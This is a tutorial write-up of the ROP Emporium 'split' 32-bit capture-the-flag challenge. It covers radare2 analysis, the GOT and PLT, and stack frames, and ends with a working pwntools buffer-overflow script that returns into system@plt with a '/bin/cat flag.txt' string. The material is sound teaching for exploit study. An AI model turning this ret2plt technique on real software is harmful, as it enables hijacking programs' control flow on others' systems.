ROP Emporium challenges with Radare2 and pwntools.

Last time in Ropping to Victory we went over the basics of Return Oriented Programming using Radare2 and pwntools. We completed the 32-bit ret2win challenge, an easy start given we already had a function that did everything for us, and we just had to call it.

This time we'll be looking at the 32-bit split challenge, this one is a little more difficult as the various bits and pieces we need are split up as opposed to being perfectly set up in one function for us. We'll skip some of the more basic steps from last time, but feel free to refer back if needed.

Binary Analysis

Like last time, let's start out by taking a look at the file in radare2. We can run the i command to get information about a binary:

[0x08048480]> i
blksz    0x0
block    0x100
fd       3
file     split32
format   elf
iorw     false
mode     -r-x
size     0x1e40
humansz  7.6K
type     EXEC (Executable file)
arch     x86
binsz    6504
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
static   false
stripped false
subsys   linux
va       true

There's a lot of useful information here, but let's note in particular that pic (position-independent-code) is disabled (also known as PIE or ASLR) and we do have the no-execute bit set (nx).

NX means that the stack will not be executable, which is what we expect, this is a ROP challenge so if we could just dump shellcode on the stack and execute it it would defeat the purpose of the challenge! Having PIC disabled means that our binary will not be loaded into memory at a random offset, so any memory addresses we find we can safely re-use.

Note however that most modern day operating systems have PIC enabled by default so the addresses of items in linked libraries, such as system in libc will be randomised.

Let's have a look at what functions are available:

[0x08048480]> afl
0x080483c0    3 35           sym._init
0x08048400    1 6            sym.imp.printf
0x08048410    1 6            sym.imp.fgets
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            sym.imp.system
0x08048440    1 6            sym.imp.__libc_start_main
0x08048450    1 6            sym.imp.setvbuf
0x08048460    1 6            sym.imp.memset
0x08048470    1 6            sub.__gmon_start_470
0x08048480    1 33           entry0
0x080484b0    1 4            sym.__x86.get_pc_thunk.bx
0x080484c0    4 43           sym.deregister_tm_clones
0x080484f0    4 53           sym.register_tm_clones
0x08048530    3 30           sym.__do_global_dtors_aux
0x08048550    4 43   -> 40   entry1.init
0x0804857b    1 123          sym.main
0x080485f6    1 83           sym.pwnme
0x08048649    1 25           sym.usefulFunction
0x08048670    4 93           sym.__libc_csu_init
0x080486d0    1 2            sym.__libc_csu_fini
0x080486d4    1 20           sym._fini
[0x08048480]>

This looks similar to last time, we have a pwnme function and a usefulFunction.

Looking at the main function again we see that it just prints some stuff and calls pwnme, similar to last time. Let's take a closer look at this pwnme function.

[0x08048480]> pdf @ sym.pwnme
/ (fcn) sym.pwnme 83
|   sym.pwnme ();
|           ; var int local_28h @ ebp-0x28
|           ; CALL XREF from 0x080485d4 (sym.main)
|           0x080485f6      55             push ebp
|           0x080485f7      89e5           mov ebp, esp
|           0x080485f9      83ec28         sub esp, 0x28               ; '('
|           0x080485fc      83ec04         sub esp, 4
|           0x080485ff      6a20           push 0x20                   ; 32
|           0x08048601      6a00           push 0                      ; size_t n
|           0x08048603      8d45d8         lea eax, dword [local_28h]
|           0x08048606      50             push eax                    ; int c
|           0x08048607      e854feffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x0804860c      83c410         add esp, 0x10
|           0x0804860f      83ec0c         sub esp, 0xc
|           0x08048612      6818870408     push str.Contriving_a_reason_to_ask_user_for_data... ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s
|           0x08048617      e804feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x0804861c      83c410         add esp, 0x10
|           0x0804861f      83ec0c         sub esp, 0xc
|           0x08048622      6844870408     push 0x8048744              ; const char * format
|           0x08048627      e8d4fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804862c      83c410         add esp, 0x10
|           0x0804862f      a180a00408     mov eax, dword [obj.stdin]  ; [0x804a080:4]=0
|           0x08048634      83ec04         sub esp, 4
|           0x08048637      50             push eax
|           0x08048638      6a60           push 0x60                   ; '`' ; 96
|           0x0804863a      8d45d8         lea eax, dword [local_28h]
|           0x0804863d      50             push eax                    ; char *s
|           0x0804863e      e8cdfdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x08048643      83c410         add esp, 0x10
|           0x08048646      90             nop
|           0x08048647      c9             leave
\           0x08048648      c3             ret
[0x08048480]>

This also looks pretty similar to last time. We can see that 0x20 (32) bytes get zeroed out in a call to memset for the local_28h variable, and then this variable has 0x60 (96) bytes written to it using fgets, another buffer overflow found!

Visual Mode

Let's enter Visual Mode in Radare2 and rename this variable, in case we come back to this function later.

Visual mode is a great tool in Radare2 that adds a sort of Text User Interface for analysing the code. To enter Visual Mode, we can use V, and we'll be presented with something similar to the following (albeit with colour highlighting!).

[0x08048480 14% 3024 split32]> xc @ entry0
- offset - | 0 1  2 3  4 5  6 7  8 9  A B  C D  E F| 0123456789ABCDEF  comment
0x08048480 |31ed 5e89 e183 e4f0 5054 5268 d086 0408| 1.^.....PTRh....  ; [14] --r-x section size 594 named .text
0x08048490 |6870 8604 0851 5668 7b85 0408 e89f ffff| hp...QVh{.......  ; void * stack_end  ; int argc
0x080484a0 |fff4 6690 6690 6690 6690 6690 6690 6690| ..f.f.f.f.f.f.f.
0x080484b0 |8b1c 24c3 6690 6690 6690 6690 6690 6690| ..$.f.f.f.f.f.f.
0x080484c0 |b84f a004 082d 4ca0 0408 83f8 0676 1ab8| .O...-L......v..
0x080484d0 |0000 0000 85c0 7411 5589 e583 ec14 684c| ......t.U.....hL
0x080484e0 |a004 08ff d083 c410 c9f3 c390 8d74 2600| .............t&.
0x080484f0 |b84c a004 082d 4ca0 0408 c1f8 0289 c2c1| .L...-L.........
0x08048500 |ea1f 01d0 d1f8 741b ba00 0000 0085 d274| ......t........t
0x08048510 |1255 89e5 83ec 1050 684c a004 08ff d283| .U.....PhL......
0x08048520 |c410 c9f3 c38d 7426 008d bc27 0000 0000| ......t&...'....
0x08048530 |803d 88a0 0408 0075 1355 89e5 83ec 08e8| .=.....u.U......
0x08048540 |7cff ffff c605 88a0 0408 01c9 f3c3 6690| |.............f.
0x08048550 |b810 9f04 088b 1085 d275 05eb 938d 7600| .........u....v.
0x08048560 |ba00 0000 0085 d274 f255 89e5 83ec 1450| .......t.U.....P
0x08048570 |ffd2 83c4 10c9 e975 ffff ff8d 4c24 0483| .......u....L$..
0x08048580 |e4f0 ff71 fc55 89e5 5183 ec04 a184 a004| ...q.U..Q.......
0x08048590 |086a 006a 026a 0050 e8b3 feff ff83 c410| .j.j.j.P........  ; size_t size  ; int mode
0x080485a0 |a160 a004 086a 006a 026a 0050 e89f feff| .`...j.j.j.P....  ; size_t size  ; int mode
0x080485b0 |ff83 c410 83ec 0c68 f086 0408 e85f feff| .......h....._..  ; const char * s
0x080485c0 |ff83 c410 83ec 0c68 0687 0408 e84f feff| .......h.....O..  ; const char * s
0x080485d0 |ff83 c410 e81d 0000 0083 ec0c 680e 8704| ............h...  ; const char * s
0x080485e0 |08e8 3afe ffff 83c4 10b8 0000 0000 8b4d| ..:............M
0x080485f0 |fcc9 8d61 fcc3 5589 e583 ec28 83ec 046a| ...a..U....(...j
0x08048600 |206a 008d 45d8 50e8 54fe ffff 83c4 1083|  j..E.P.T.......  ; size_t n  ; int c
0x08048610 |ec0c 6818 8704 08e8 04fe ffff 83c4 1083| ..h.............  ; const char * s
0x08048620 |ec0c 6844 8704 08e8 d4fd ffff 83c4 10a1| ..hD............  ; const char * format
0x08048630 |80a0 0408 83ec 0450 6a60 8d45 d850 e8cd| .......Pj`.E.P..  ; char *s
0x08048640 |fdff ff83 c410 90c9 c355 89e5 83ec 0883| .........U......
0x08048650 |ec0c 6847 8704 08e8 d4fd ffff 83c4 1090| ..hG............  ; const char * string
0x08048660 |c9c3 6690 6690 6690 6690 6690 6690 6690| ..f.f.f.f.f.f.f.
0x08048670 |5557 5653 e837 feff ff81 c387 1900 0083| UWVS.7..........
0x08048680 |ec0c 8b6c 2420 8db3 0cff ffff e82f fdff| ...l$ ......./..
0x08048690 |ff8d 8308 ffff ff29 c6c1 fe02 85f6 7425| .......)......t%

This is Visual Mode. We have the memory addresses on the left and a hexdump on the right. We can cycle through the various Visual Mode panels using p and P, and quit at any time back to 'command mode' by hitting q.

Let's cycle through the panels until we hit the Disassembly panel, which should be the next screen by default.

[0x08048480 14% 864 split32]> pd $r @ entry0
            ;-- section..text:
            ;-- eip:
/ (fcn) entry0 33
|   entry0 ();
|           0x08048480      31ed           xor ebp, ebp                ; [14] --r-x section size 594 named .text
|           0x08048482      5e             pop esi
|           0x08048483      89e1           mov ecx, esp
|           0x08048485      83e4f0         and esp, 0xfffffff0
|           0x08048488      50             push eax
|           0x08048489      54             push esp
|           0x0804848a      52             push edx
|           0x0804848b      68d0860408     push sym.__libc_csu_fini    ; 0x80486d0
|           0x08048490      6870860408     push sym.__libc_csu_init    ; 0x8048670 ; "UWVS\xe87\xfe\xff\xff\x81\u00c7\x19"
|           0x08048495      51             push ecx
|           0x08048496      56             push esi                    ; void * stack_end
|           0x08048497      687b850408     push sym.main               ; 0x804857b ; int argc
\           0x0804849c      e89fffffff     call sym.imp.__libc_start_main ;[1] ; int __libc_start_main(func main, int argc, char **ubp_av, func init, func fini, func rtld_fini, void *stack_end)
            0x080484a1      f4             hlt
            0x080484a2      6690           nop
            0x080484a4      6690           nop
            0x080484a6      6690           nop
            0x080484a8      6690           nop
            0x080484aa      6690           nop
            0x080484ac      6690           nop
            0x080484ae      6690           nop
/ (fcn) sym.__x86.get_pc_thunk.bx 4
|   sym.__x86.get_pc_thunk.bx ();
|           ; CALL XREF from 0x080486d8 (sym._fini)
|           ; CALL XREF from 0x08048674 (sym.__libc_csu_init)
|           ; CALL XREF from 0x080483c4 (sym._init)
|           0x080484b0      8b1c24         mov ebx, dword [esp]
\           0x080484b3      c3             ret
            0x080484b4      6690           nop
            0x080484b6      6690           nop
            0x080484b8      6690           nop
            0x080484ba      6690           nop
            0x080484bc      6690           nop
            0x080484be      6690           nop

We now see the disassembled entry0 function, as this is the default entry point and we've not seeked to anywhere else.

Let's navigate to our pwnme function, first by hitting v, then scrolling to pwnme and then hitting g to "go". We can then hit c for "cursor" mode and scrolling around the disassembled pwnme function using the arrow keys (or vim's hjkl if preferred).

[0x080485f6 19% 270 (0xd:-1=1)]> pd $r @ sym.pwnme+13 # 0x8048603
/ (fcn) sym.pwnme 83
|   sym.pwnme ();
|           ; var int local_28h @ ebp-0x28
|           ; CALL XREF from 0x080485d4 (sym.main)
|           0x080485f6      55             push ebp
|           0x080485f7      89e5           mov ebp, esp
|           0x080485f9      83ec28         sub esp, 0x28               ; '('
|           0x080485fc      83ec04         sub esp, 4
|           0x080485ff      6a20           push 0x20                   ; 32
|           0x08048601      6a00           push 0                      ; size_t n
|           0x08048603   *  8d45d8         lea eax, dword [local_28h]
|           0x08048606      50             push eax                    ; int c
|           0x08048607      e854feffff     call sym.imp.memset         ;[1] ; void *memset(void *s, int c, size_t n)
|           0x0804860c      83c410         add esp, 0x10
|           0x0804860f      83ec0c         sub esp, 0xc
|           0x08048612      6818870408     push str.Contriving_a_reason_to_ask_user_for_data...    ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s
|           0x08048617      e804feffff     call sym.imp.puts           ;[2] ; int puts(const char *s)
|           0x0804861c      83c410         add esp, 0x10
|           0x0804861f      83ec0c         sub esp, 0xc
|           0x08048622      6844870408     push 0x8048744              ; const char * format
|           0x08048627      e8d4fdffff     call sym.imp.printf         ;[3] ; int printf(const char *format)
|           0x0804862c      83c410         add esp, 0x10
|           0x0804862f      a180a00408     mov eax, dword [obj.stdin]    ; [0x804a080:4]=0
|           0x08048634      83ec04         sub esp, 4
|           0x08048637      50             push eax
|           0x08048638      6a60           push 0x60                   ; '`' ; 96
|           0x0804863a      8d45d8         lea eax, dword [local_28h]
|           0x0804863d      50             push eax                    ; char *s
|           0x0804863e      e8cdfdffff     call sym.imp.fgets          ;[4] ; char *fgets(char *s, int size, FILE *stream)
|           0x08048643      83c410         add esp, 0x10
|           0x08048646      90             nop
|           0x08048647      c9             leave
\           0x08048648      c3             ret

We've scrolled down to the first instance of our local_28h variable. We can rename this flag in Radare2 by hitting d (for "define") and then choosing the rename flag option, n.

Let's rename it to user_input and hit Enter, then hit ; to add a comment for that line and detail that it's overflowable.

Once we're done, we can see things look that little bit clearer:

[0x080485f6 19% 270 (0xd:-1=1)]> pd $r @ sym.pwnme+13 # 0x8048603
/ (fcn) sym.pwnme 83
|   sym.pwnme ();
|           ; var int user_input @ ebp-0x28
|           ; CALL XREF from 0x080485d4 (sym.main)
|           0x080485f6      55             push ebp
|           0x080485f7      89e5           mov ebp, esp
|           0x080485f9      83ec28         sub esp, 0x28               ; '('
|           0x080485fc      83ec04         sub esp, 4
|           0x080485ff      6a20           push 0x20                   ; 32
|           0x08048601      6a00           push 0                      ; size_t n
|           0x08048603   *  8d45d8         lea eax, dword [user_input]    ; this buffer is overflowable!
|           0x08048606      50             push eax                    ; int c
|           0x08048607      e854feffff     call sym.imp.memset         ;[1] ; void *memset(void *s, int c, size_t n)
|           0x0804860c      83c410         add esp, 0x10
|           0x0804860f      83ec0c         sub esp, 0xc
|           0x08048612      6818870408     push str.Contriving_a_reason_to_ask_user_for_data...    ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s
|           0x08048617      e804feffff     call sym.imp.puts           ;[2] ; int puts(const char *s)
|           0x0804861c      83c410         add esp, 0x10
|           0x0804861f      83ec0c         sub esp, 0xc
|           0x08048622      6844870408     push 0x8048744              ; const char * format
|           0x08048627      e8d4fdffff     call sym.imp.printf         ;[3] ; int printf(const char *format)
|           0x0804862c      83c410         add esp, 0x10
|           0x0804862f      a180a00408     mov eax, dword [obj.stdin]    ; [0x804a080:4]=0
|           0x08048634      83ec04         sub esp, 4
|           0x08048637      50             push eax
|           0x08048638      6a60           push 0x60                   ; '`' ; 96
|           0x0804863a      8d45d8         lea eax, dword [user_input]
|           0x0804863d      50             push eax                    ; char *s
|           0x0804863e      e8cdfdffff     call sym.imp.fgets          ;[4] ; char *fgets(char *s, int size, FILE *stream)
|           0x08048643      83c410         add esp, 0x10
|           0x08048646      90             nop
|           0x08048647      c9             leave
\           0x08048648      c3             ret

Next let's take a look at the usefulFunction, and see what we have to work with for our exploit.

We navigate to this function in Visual Mode, in the same way as we did for pwnme, v to list the functions, then g to go to it.

[0x08048649 20% 270 (0x9:-1=1)]> pd $r @ sym.usefulFunction+9 # 0x8048652
/ (fcn) sym.usefulFunction 25
|   sym.usefulFunction ();
|           0x08048649      55             push ebp
|           0x0804864a      89e5           mov ebp, esp
|           0x0804864c      83ec08         sub esp, 8
|           0x0804864f      83ec0c         sub esp, 0xc
|           0x08048652   *  6847870408     push str.bin_ls             ; 0x8048747 ; "/bin/ls" ; const char * string
|           0x08048657      e8d4fdffff     call sym.imp.system         ;[1] ; int system(const char *string)
|           0x0804865c      83c410         add esp, 0x10
|           0x0804865f      90             nop
|           0x08048660      c9             leave
\           0x08048661      c3             ret

We can see that we have our system call again, much like last time, however the command being executed isn't showing us our flag but just invoking /bin/ls to list the files in the current directory.

Let's have a look at what strings are available to us in the binary. To do this, we use the iz command to list all strings in the data sections, or izz to list all strings in the binary. However this is a none-Visual Mode command, so to execute it from Visual Mode we hit :, then enter the command. This is a little bit easier than quitting out to command mode, then re-entering Visual Mode and finding where we were.

We check just the data sections first, as this is the section where strings used by the binary are normally stored.

Press <enter> to return to Visual mode.(sym.__libc_csu_init)
:> iz
000 0x000006f0 0x080486f0  21  22 (.rodata) ascii split by ROP Emporium
001 0x00000706 0x08048706   7   8 (.rodata) ascii 32bits\n
002 0x0000070e 0x0804870e   8   9 (.rodata) ascii \nExiting
003 0x00000718 0x08048718  43  44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x00000747 0x08048747   7   8 (.rodata) ascii /bin/ls
000 0x00001030 0x0804a030  17  18 (.data) ascii /bin/cat flag.txt

:>

Aha! We spot a string we can use at another location in memory. /bin/cat flag.txt is the same command as in ret2win, which should just print our flag value to the screen for us.

We have the pieces we need, let's set about exploiting this thing.

Exploitation

Let's create our pwntools script in the same way as last time, and use pwn.cyclic to determine the offset to EIP.

#!/usr/bin/env python2

import pwn

t = pwn.process("./split32")

gdb_cmd = [
    'c'
]

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))

buf = pwn.cyclic(60, n = 4)

t.recvuntil('\n>')
t.sendline(buf)

t.interactive()

The process crashes, as expected, and we find that the EIP overflow occurs at "laaa".

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "split32", stopped, reason: STOPPED
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f6c059 → Name: __kernel_vsyscall()
[#1] 0xf7e4e7d7 → Name: read()
[#2] 0xf7ddb798 → Name: _IO_file_underflow()
[#3] 0xf7ddc8ab → Name: _IO_default_uflow()
[#4] 0xf7dcf871 → Name: _IO_getline_info()
[#5] 0xf7dcf9be → Name: _IO_getline()
[#6] 0xf7dce7a9 → Name: fgets()
[#7] 0x8048643 → Name: pwnme()
[#8] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f6c059 in __kernel_vsyscall ()

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffa32570  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x00000000
$ecx   : 0xf7f3f89c  →  0x00000000
$edx   : 0xffa32570  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$esp   : 0xffa325a0  →  "maaanaaaoaaa"
$ebp   : 0x6161616b ("kaaa"?)
$esi   : 0xf7f3e000  →  0x001d4d6c ("lM"?)
$edi   : 0x00000000
$eip   : 0x6161616c ("laaa"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$ss: 0x002b  $gs: 0x0063  $cs: 0x0023  $ds: 0x002b  $es: 0x002b  $fs: 0x0000  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffa325a0│+0x00: "maaanaaaoaaa"	 ← $esp
0xffa325a4│+0x04: "naaaoaaa"
0xffa325a8│+0x08: "oaaa"
0xffa325ac│+0x0c: 0xf7d8000a  →  0x41600000
0xffa325b0│+0x10: 0xf7f3e000  →  0x001d4d6c ("lM"?)
0xffa325b4│+0x14: 0xf7f3e000  →  0x001d4d6c ("lM"?)
0xffa325b8│+0x18: 0x00000000
0xffa325bc│+0x1c: 0xf7d81e81  →  <__libc_start_main+241> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616c
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "split32", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x6161616c in ?? ()
gef➤  

Now that we know our offset, we can start building our ROP chain.

We don't have a function to call this time that will just do everything for us. Instead, we're going to have to "ret" to system directly, and set up the chain to pass the /bin/cat flag.txt string instead of /bin/ls.

Now we know that we can't just invoke system in libc directly, as ASLR is enabled so its address will keep changing every time we run the executable.

We can confirm this from the command line using ldd. This command will print the linked library dependencies of an executable and their memory addresses. We can note that if we run it several times, the base memory address of the linked libraries changes:

[email protected]  split # ldd split32
        linux-gate.so.1 (0xf7fa7000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da5000)
        /lib/ld-linux.so.2 (0xf7fa9000)
[email protected]  split # ldd split32
        linux-gate.so.1 (0xf7f3b000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d39000)
        /lib/ld-linux.so.2 (0xf7f3d000)
[email protected]  split # ldd split32
        linux-gate.so.1 (0xf7f9f000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d9d000)
        /lib/ld-linux.so.2 (0xf7fa1000)
[email protected]  split #

The GOT and the PLT

So what can we do? Well, the problem we're having will also be encountered by the split32 binary, it has to be able to reference system in some way if it wants to invoke it, right?

The way it does this is through the magic of the Global Offset Table (GOT) and the Procedural Linkage Table (PLT). These are two sections of our split32 binary, as we can see by using objdump to list the section headers of split32.

$ objdump -h split32

split32:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048154  08048154  00000154  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048168  08048168  00000168  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048188  08048188  00000188  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .gnu.hash     00000030  080481ac  080481ac  000001ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynsym       000000d0  080481dc  080481dc  000001dc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynstr       00000081  080482ac  080482ac  000002ac  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version  0000001a  0804832e  0804832e  0000032e  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version_r 00000020  08048348  08048348  00000348  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.dyn      00000020  08048368  08048368  00000368  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.plt      00000038  08048388  08048388  00000388  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .init         00000023  080483c0  080483c0  000003c0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .plt          00000080  080483f0  080483f0  000003f0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .plt.got      00000008  08048470  08048470  00000470  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .text         00000252  08048480  08048480  00000480  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         00000014  080486d4  080486d4  000006d4  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       00000067  080486e8  080486e8  000006e8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame_hdr 0000003c  08048750  08048750  00000750  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .eh_frame     0000010c  0804878c  0804878c  0000078c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 18 .init_array   00000004  08049f08  08049f08  00000f08  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .fini_array   00000004  08049f0c  08049f0c  00000f0c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .jcr          00000004  08049f10  08049f10  00000f10  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .dynamic      000000e8  08049f14  08049f14  00000f14  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got          00000004  08049ffc  08049ffc  00000ffc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .got.plt      00000028  0804a000  0804a000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .data         00000022  0804a028  0804a028  00001028  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 25 .bss          0000002c  0804a060  0804a060  0000104a  2**5
                  ALLOC
 26 .comment      00000034  00000000  00000000  0000104a  2**0
                  CONTENTS, READONLY

Note that the GOT is writable.

The crux of how this works is that every imported function will be listed in the PLT, and the split32 code will point to that listing in the PLT. When that function is invoked, the PLT heads over to the GOT and tries to look up the actual address of the function. If it's the first time, the GOT redirects to the link loader library (ld-linux.so, which we saw earlier is imported when we used ldd) which goes and fetches the real address. The GOT will then save this value for all future calls to that function, which is why it needs to be writable.

We can see therefore easily see the imported functions of a binary by examining the PLT. Radare2 did this for us automatically, and we can see them in the initial function list. All the functions starting with 'sym.imp.' are imported functions, and we can see that this includes system as we expect.

0x08048400    1 6            sym.imp.printf
0x08048410    1 6            sym.imp.fgets
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            sym.imp.system
0x08048440    1 6            sym.imp.__libc_start_main
0x08048450    1 6            sym.imp.setvbuf
0x08048460    1 6            sym.imp.memset
```

The addresses here are in the address space of our binary as they are in the PLT, and so are not subject to ASLR. We can therefore just point to this address instead of the actual address of system as the binary would normally, and avoid having to deal with ASLR!

We note then that the address of the system import is 0x08048430 and we have to set up the chain so that it's called with 0x0804a030 as the argument, which is the address of /bin/cat flag.txt.

Setting up the stack frame

We're almost there. All we have to do is set up our chain so it looks like right to the processor.

Inside a function, everything is stored inside a stack frame on the stack. When a new function is called, a new stack frame is set up and "pushed" on top of the stack, and when that function completes its stack frame is "popped" back off, and the first function's stack frame is still there and is restored, putting everything back in place as it had been.

The anatomy of a stack frame is detailed in the below image.

stackIntro

(Note this image was taken from Gustavo Duarte's article on the stack, a great intro and recommended reading).

While all other sections in the binary start at a low-numbered address and end at an address with a higher number (like large houses on a street), the stack works in the opposite direction. This allows the stack and heap sections, which are both used to store dynamic data, to grow towards each other efficiently with no loss of space.

When a function is first invoked, it executes the function preamble where it saves the value of the ebp register and creates space for the local variables.

We can see this in the functions we have disassembled, for example at the top of pwnme:

|           0x080485f6      55             push ebp
|           0x080485f7      89e5           mov ebp, esp
|           0x080485f9      83ec28         sub esp, 0x28               ; '('
|           0x080485fc      83ec04         sub esp, 4
...snip...

Note that as the stack grows down, subtracting numbers from ESP (the stack pointer, which points to the end or top of the stack) is allocating more memory to the stack.

This means that the three values to the left to the image above are set up once we're in a function, and we don't have to worry about adding them to our ROP chain as we're setting up a call to a function before it's called.

Now when when writing into memory we write from low to high addresses as we expect. Comparing this to the diagram, this means we'll be "coming in from the left" and that when we overwrite the stack with our buffer overflow after EIP we want the return address of the next function we want to invoke, then the parameters to the current function we're calling.

As we don't want to invoke another function, we can just put four-bytes of rubbish and then our parameters.

After our function is invoked, it will look like our stack frame was set up with a return address and parameters that are actually controlled by us! It will then enter the function preamble and push EBP to the stack and create space for the local variables. This will overwrite part of our buffer overflow buffer, but in the direction we don't care about!

Our chain then will look like this:

#!/usr/bin/env python2

import pwn

t = pwn.process("./split32")

gdb_cmd = [
          'c'
]

ptr_system_plt = 0x08048430
ptr_cat_flag_string = 0x0804a030

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))

offset = pwn.cyclic_find("laaa", n = 4)

buf = "A"*offset
buf += pwn.p32(ptr_system_plt)
buf += "BBBB"
buf += pwn.p32(ptr_cat_flag_string)

t.recvuntil('\n>')
t.sendline(buf)

t.interactive()

Here our chain is enough As to reach our offset, a 32-bit packed pointer to system in the PLT, a garbage return address of four Bs (as we don't care where it goes after we get our flag!) and then the 32-bit packed address of our cat-flag-string.

Let's run it!

[email protected]  split # python pwn_redo.py
[+] Starting local process './split32': pid 53952
[*] running in new terminal: /usr/bin/gdb -q  "./split32" 53952 -x "/tmp/pwnKLrssb.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

Huzzah! We got our flag! A job well done.

Summary

This was quite a lengthy post as we looked at ropemporium's second 32-bit challenge, split. We've picked up Visual Mode in radare2 in addition to a few other bits and pieces, and looked at how the binary resolves functions when ASLR is present on the host using the PLT and the GOT. Finally, we got to grips with stack frames and set up an exploit to invoke system, passing to it a string stored elsewhere in memory.

Next time we'll try the third challenge, callme, where we'll have to set up our first actual ROP chain, invoking multiple functions!